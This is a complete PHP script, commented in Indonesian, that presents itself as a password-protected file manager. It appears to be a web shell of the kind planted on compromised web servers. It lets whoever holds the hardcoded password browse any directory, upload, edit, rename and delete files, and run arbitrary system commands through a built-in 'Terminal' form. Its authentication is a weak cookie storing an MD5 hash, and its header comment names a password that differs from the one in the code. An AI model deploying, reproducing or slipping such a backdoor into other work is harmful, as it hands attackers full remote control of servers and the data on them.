<?php
// ============================================
// FILE MANAGER + PASSWORD (COOKIE, NO SESSION)
// Password: t1t1
// ============================================
error_reporting(E_ALL);
ini_set('display_errors', 1);

// === PASSWORD CONFIG ===
$password = 'titi';
$auth_cookie_name = 'filemanager_auth';
$auth_hash = md5($password); // hash sederhana

// === LOGOUT ===
if (isset($_GET['logout'])) {
    setcookie($auth_cookie_name, '', time() - 3600);
    header('Location: ' . $_SERVER['PHP_SELF']);
    exit;
}

// === CEK LOGIN ===
if (!isset($_COOKIE[$auth_cookie_name]) || $_COOKIE[$auth_cookie_name] !== $auth_hash) {
    if (isset($_POST['pass'])) {
        if ($_POST['pass'] === $password) {
            setcookie($auth_cookie_name, $auth_hash, 0, '/'); // session cookie
            header('Location: ' . $_SERVER['PHP_SELF']);
            exit;
        } else {
            $login_error = 'Password salah!';
        }
    }
    // Tampilkan form login
    ?>
    <!DOCTYPE html>
    <html>
    <head>
        <meta charset="UTF-8">
        <title>Login - File Manager</title>
        <meta name="viewport" content="width=device-width, initial-scale=1">
        <style>
            body { background:#000; color:#0f0; font-family:monospace; display:flex; justify-content:center; align-items:center; height:100vh; margin:0; }
            form { background:#111; padding:30px; border:1px solid #0f0; border-radius:8px; text-align:center; }
            input[type=password] { background:#000; border:1px solid #0f0; color:#0f0; padding:10px; width:200px; font-family:inherit; margin-bottom:10px; }
            input[type=submit] { background:#0f0; color:#000; border:none; padding:10px 20px; cursor:pointer; font-weight:bold; }
            .error { color:red; }
        </style>
    </head>
    <body>
        <form method="post">
            <h2>🔐 Login</h2>
            <?php if (isset($login_error)) echo "<p class='error'>$login_error</p>"; ?>
            <input type="password" name="pass" placeholder="Password" autofocus><br>
            <input type="submit" value="Login">
        </form>
    </body>
    </html>
    <?php
    exit;
}

// ========== USER SUDAH LOGIN ==========

// Fungsi hapus folder rekursif
function hapusFolder($dir) {
    if (!file_exists($dir)) return true;
    if (!is_dir($dir)) return unlink($dir);
    $files = @scandir($dir);
    if (!$files) return false;
    $files = array_diff($files, ['.', '..']);
    foreach ($files as $f) {
        $path = $dir . '/' . $f;
        is_dir($path) ? hapusFolder($path) : unlink($path);
    }
    return rmdir($dir);
}

// Tentukan direktori saat ini (default: direktori file ini)
$currentDir = isset($_GET['dir']) ? $_GET['dir'] : __DIR__;
// Bersihkan double slash
$currentDir = preg_replace('#/+#', '/', $currentDir);
if (!@is_dir($currentDir)) {
    $currentDir = __DIR__;
}
if ($currentDir !== '/') {
    $currentDir = rtrim($currentDir, '/');
}

$pesan = '';

// ========== UPLOAD FILE ==========
if (isset($_FILES['file'])) {
    $target = $currentDir . '/' . basename($_FILES['file']['name']);
    if (move_uploaded_file($_FILES['file']['tmp_name'], $target)) {
        $pesan = '✅ Upload berhasil.';
    } else {
        $pesan = '❌ Upload gagal.';
    }
}

// ========== BUAT FOLDER ==========
if (isset($_POST['folderbaru']) && !empty(trim($_POST['folderbaru']))) {
    $nama = basename(trim($_POST['folderbaru']));
    $path = $currentDir . '/' . $nama;
    if (!file_exists($path)) {
        if (mkdir($path, 0755)) $pesan = '📁 Folder dibuat.';
        else $pesan = '❌ Gagal.';
    } else {
        $pesan = '⚠️ Nama sudah ada.';
    }
}

// ========== BUAT FILE ==========
if (isset($_POST['filebaru']) && !empty(trim($_POST['filebaru']))) {
    $nama = basename(trim($_POST['filebaru']));
    $path = $currentDir . '/' . $nama;
    if (!file_exists($path)) {
        if (file_put_contents($path, '') !== false) $pesan = '📄 File dibuat.';
        else $pesan = '❌ Gagal.';
    } else {
        $pesan = '⚠️ Nama sudah ada.';
    }
}

// ========== DELETE ==========
if (isset($_GET['hapus'])) {
    $target = $currentDir . '/' . basename($_GET['hapus']);
    if (file_exists($target)) {
        if (is_dir($target)) hapusFolder($target);
        else unlink($target);
        $pesan = '🗑 Dihapus.';
    }
}

// ========== RENAME ==========
if (isset($_POST['namalama'], $_POST['namabaru']) && !empty(trim($_POST['namabaru']))) {
    $lama = $currentDir . '/' . basename($_POST['namalama']);
    $baru = $currentDir . '/' . basename(trim($_POST['namabaru']));
    if (file_exists($lama) && !file_exists($baru)) {
        if (rename($lama, $baru)) $pesan = '✏ Rename berhasil.';
        else $pesan = '❌ Gagal rename.';
    } else {
        $pesan = '❌ Gagal.';
    }
}

// ========== SAVE FILE ==========
if (isset($_POST['simpanfile'], $_POST['namafile'], $_POST['konten'])) {
    $target = $currentDir . '/' . basename($_POST['namafile']);
    if (file_exists($target) && is_file($target)) {
        if (file_put_contents($target, $_POST['konten']) !== false) $pesan = '💾 File disimpan.';
        else $pesan = '❌ Gagal menyimpan.';
    }
}

// ========== COMMAND ==========
$cmdOutput = '';
if (isset($_POST['cmd'])) {
    $cmd = trim($_POST['cmd']);
    if (!empty($cmd)) {
        if (function_exists('proc_open')) {
            $desc = [0 => ['pipe', 'r'], 1 => ['pipe', 'w'], 2 => ['pipe', 'w']];
            $proc = proc_open($cmd, $desc, $pipes);
            if (is_resource($proc)) {
                $out = stream_get_contents($pipes[1]);
                $err = stream_get_contents($pipes[2]);
                fclose($pipes[1]); fclose($pipes[2]);
                proc_close($proc);
                $cmdOutput = htmlspecialchars($err ? $err : $out);
            }
        } elseif (function_exists('popen')) {
            $handle = @popen($cmd . ' 2>&1', 'r');
            if ($handle) {
                $cmdOutput = htmlspecialchars(stream_get_contents($handle));
                pclose($handle);
            }
        } else {
            $cmdOutput = '⚠️ Tidak bisa menjalankan command.';
        }
    }
}

// ========== AMBIL ISI DIREKTORI ==========
$items = [];
$dirError = '';
if (@is_dir($currentDir)) {
    $files = @scandir($currentDir);
    if ($files === false) {
        $dirError = '❌ Direktori tidak bisa dibaca.';
    } else {
        $files = array_diff($files, ['.', '..']);
        foreach ($files as $f) {
            $fp = $currentDir . '/' . $f;
            $items[] = [
                'nama' => $f,
                'tipe' => is_dir($fp) ? 'dir' : 'file',
                'ukuran' => is_file($fp) ? filesize($fp) : 0,
                'modif' => filemtime($fp),
                'perm' => substr(sprintf('%o', fileperms($fp)), -4),
                'writable' => is_writable($fp)
            ];
        }
        usort($items, function($a, $b) {
            if ($a['tipe'] == $b['tipe']) return strcasecmp($a['nama'], $b['nama']);
            return ($a['tipe'] == 'dir') ? -1 : 1;
        });
    }
} else {
    $dirError = 'Direktori tidak ditemukan.';
}

// ========== BREADCRUMB ==========
$parent = dirname($currentDir);
$parentLink = ($currentDir != '/') ? '?dir=' . urlencode($parent) : false;
$pathParts = explode('/', trim($currentDir, '/'));
$bread = [];
$acc = '';
foreach ($pathParts as $p) {
    $acc .= '/' . $p;
    $bread[] = ['nama' => $p, 'path' => $acc];
}

// ========== VIEW / EDIT ==========
$modeEdit = false;
if (isset($_GET['view'])) {
    $vfile = $currentDir . '/' . basename($_GET['view']);
    if (is_file($vfile)) {
        $modeEdit = true;
        $viewNama = basename($vfile);
        $viewKonten = file_get_contents($vfile);
    }
}

function ukuran($byte) {
    if ($byte >= 1073741824) return round($byte/1073741824,2).' GB';
    if ($byte >= 1048576) return round($byte/1048576,2).' MB';
    if ($byte >= 1024) return round($byte/1024,2).' KB';
    return $byte.' B';
}
?><!DOCTYPE html>
<html>
<head>
<meta charset="UTF-8">
<title>File Manager</title>
<meta name="viewport" content="width=device-width, initial-scale=1">
<style>
body{background:#000;color:#0f0;font-family:monospace;margin:15px}
a{color:#0f0;text-decoration:none}a:hover{text-decoration:underline}
.container{max-width:1100px;margin:auto;background:#111;border:1px solid #0f0;border-radius:8px;padding:20px}
.msg{background:#1a3a1a;padding:8px;border-radius:4px;margin-bottom:10px}
.header{display:flex;justify-content:space-between;align-items:center;flex-wrap:wrap}
.logout{background:#900;color:#fff;padding:5px 10px;border-radius:4px;text-decoration:none;font-size:12px}
.toolbar{display:flex;flex-wrap:wrap;gap:10px;margin-bottom:15px}
.toolbar form{display:flex;gap:5px;align-items:center;flex-wrap:wrap}
.toolbar input[type=text],.toolbar input[type=file]{background:#000;border:1px solid #0f0;color:#0f0;padding:6px;width:140px;font-family:inherit}
.toolbar button{background:#0f0;color:#000;border:none;padding:6px 12px;cursor:pointer;font-weight:bold}
table{width:100%;border-collapse:collapse;background:#000;margin-bottom:15px}
th,td{border:1px solid #0f0;padding:7px;text-align:left}
th{background:#0f0;color:#000}
.hijau{color:#0f0;font-weight:bold}
.merah{color:#f00;font-weight:bold}
.edit-box{margin-top:20px}
.edit-box textarea{width:100%;height:350px;background:#000;border:1px solid #0f0;color:#0f0;padding:10px;font-family:monospace}
.cmd-box{background:#000;border:1px solid #0f0;padding:10px;margin-top:20px}
.cmd-box textarea{width:100%;height:120px;background:#000;border:1px solid #0f0;color:#0f0;font-family:monospace}
.error{color:red;font-weight:bold}
</style>
</head>
<body>
<div class="container">
<div class="header">
<h2>📁 File Manager</h2>
<a href="?logout" class="logout">Logout</a>
</div>
<?php if($pesan): ?><div class="msg"><?= htmlspecialchars($pesan) ?></div><?php endif; ?>

<div>📍 <a href="?dir=<?= urlencode(__DIR__) ?>">🏠 Home</a>
<?php foreach($bread as $b): ?> / <a href="?dir=<?= urlencode($b['path']) ?>"><?= htmlspecialchars($b['nama']) ?></a><?php endforeach; ?>
</div>
<?php if($parentLink): ?><div><a href="<?= $parentLink ?>">⬆ [ .. ] Parent Directory</a></div><?php endif; ?>

<div style="margin:10px 0">
<form method="get" action="">
    <input type="text" name="dir" placeholder="Path..." value="<?= htmlspecialchars($currentDir) ?>" style="width:70%; background:#000; border:1px solid #0f0; color:#0f0; padding:6px; font-family:inherit">
    <button type="submit" style="background:#0f0;color:#000;border:none;padding:6px 12px;cursor:pointer">Buka</button>
</form>
<small style="color:#888;">Path yang diizinkan terbatas pada open_basedir.</small>
</div>

<div class="toolbar">
<form method="post" enctype="multipart/form-data" action="?dir=<?= urlencode($currentDir) ?>">
    <input type="file" name="file" required><button type="submit">⬆ Upload</button>
</form>
<form method="post" action="?dir=<?= urlencode($currentDir) ?>">
    <input type="text" name="folderbaru" placeholder="Folder baru"><button type="submit">📁 Buat</button>
</form>
<form method="post" action="?dir=<?= urlencode($currentDir) ?>">
    <input type="text" name="filebaru" placeholder="File baru"><button type="submit">📄 Buat</button>
</form>
</div>

<?php if ($dirError): ?>
<div class="error"><?= $dirError ?></div>
<?php endif; ?>

<p>Jumlah item: <?= count($items) ?></p>

<table>
<tr><th>Nama</th><th>Tipe</th><th>Ukuran</th><th>Modifikasi</th><th>Perm</th><th>Aksi</th></tr>
<?php if (empty($items)): ?>
<tr><td colspan="6" style="text-align:center; color:#666;">Tidak ada file/folder atau direktori tidak bisa dibaca.</td></tr>
<?php else: ?>
<?php foreach($items as $i): ?>
<tr>
<td><?= $i['tipe']=='dir'?'📁':'📄' ?> <?php if($i['tipe']=='dir'): ?><a href="?dir=<?= urlencode($currentDir.'/'.$i['nama']) ?>"><?= htmlspecialchars($i['nama']) ?></a><?php else: ?><a href="?dir=<?= urlencode($currentDir) ?>&view=<?= urlencode($i['nama']) ?>"><?= htmlspecialchars($i['nama']) ?></a><?php endif; ?></td>
<td><?= $i['tipe'] ?></td>
<td><?= $i['tipe']=='file' ? ukuran($i['ukuran']) : '-' ?></td>
<td><?= date('Y-m-d H:i', $i['modif']) ?></td>
<td class="<?= $i['writable']?'hijau':'merah' ?>"><?= $i['perm'] ?></td>
<td>
<a href="?dir=<?= urlencode($currentDir) ?>&hapus=<?= urlencode($i['nama']) ?>" onclick="return confirm('Yakin?')"><button type="button" style="background:#900;color:#fff;">🗑</button></a>
<form method="post" style="display:inline" action="?dir=<?= urlencode($currentDir) ?>">
<input type="hidden" name="namalama" value="<?= htmlspecialchars($i['nama']) ?>">
<input type="text" name="namabaru" placeholder="Nama baru" style="width:80px">
<button type="submit">✏</button>
</form>
</td>
</tr>
<?php endforeach; ?>
<?php endif; ?>
</table>

<?php if($modeEdit): ?>
<div class="edit-box">
<h3>Edit: <?= htmlspecialchars($viewNama) ?></h3>
<form method="post" action="?dir=<?= urlencode($currentDir) ?>">
<input type="hidden" name="namafile" value="<?= htmlspecialchars($viewNama) ?>">
<textarea name="konten"><?= htmlspecialchars($viewKonten) ?></textarea><br>
<button type="submit" name="simpanfile">💾 Simpan</button>
<a href="?dir=<?= urlencode($currentDir) ?>"><button type="button" style="background:#333;color:#0f0;">Batal</button></a>
</form>
</div>
<?php endif; ?>

<div class="cmd-box">
<h3>💻 Terminal</h3>
<form method="post" action="?dir=<?= urlencode($currentDir) ?>">
<input type="text" name="cmd" placeholder="ls -la" style="width:70%;background:#000;border:1px solid #0f0;color:#0f0;padding:6px">
<button type="submit">▶ Run</button>
</form>
<?php if(isset($_POST['cmd'])): ?>
<p>Output:</p>
<textarea readonly><?= $cmdOutput ?></textarea>
<?php endif; ?>
</div>

<div style="margin-top:10px;font-size:12px;color:#0a0;">Direktori: <?= $currentDir ?></div>
</div>
</body>
</html>